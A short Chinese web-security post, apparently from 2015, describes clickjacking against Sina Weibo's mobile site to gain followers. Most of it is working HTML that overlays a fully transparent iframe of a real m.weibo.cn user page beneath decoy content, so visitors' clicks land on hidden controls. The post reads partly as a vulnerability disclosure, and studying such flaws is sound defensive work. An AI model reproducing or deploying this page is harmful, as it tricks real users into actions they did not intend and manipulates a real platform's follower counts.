新浪微博点击劫持刷粉丝 - 网站安全

新浪微博点击劫持刷粉丝 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-15 15:00 作者：阅读:次

[导读] 微博主站检测了是否被iframe，不过手机站没有检测。参考测试代码参考：htmlheadtitleclickjacking titlescript function showHide_frame() { var text_1 = docume...

微博主站检测了是否被iframe，不过手机站没有检测。

参考

测试代码参考：

<html>



<head>



<title>



clickjacking  



</title>



<script>



      function showHide_frame() {



        var text_1 = document.getElementById("target");



        text_1.style.opacity = this.checked ? "0.5": "0";



        text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");"



      }



</script>



</head>



<body>







<div style="position:absolute;top:20px;left:300px;">



<font color=”#AA00DD″ size="22">clickjacking attack </font>



</div>







<div style="position:absolute;color:#00ff00;top:200px;left:600px">



<div style="color:red">next</div>



<img src="meinv.jpg">



</div>







<div><iframe id="target" src="http://m.weibo.cn/u/1641561812?luicode=20000060" style="position:absolute;width:100%;height:500px;left:200px;filter:alpha(opacity=0.0);opacity:0.0;"></iframe></div>



</body>







<div style="position:absolute;top:440px;left:550px;">



<input id="showHide_frame" type="checkbox" onclick="showHide_frame.call(this);"/>



<label for="showHide_frame">



Show the jacked I--Frame



</label>



</div>



</html>

清竹虚拟主机管理系统sql注入 + 后台构造cookie登

手动web应用程序渗透测试-模糊测试中的后缀与前

子栏目

新浪微博点击劫持刷粉丝 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论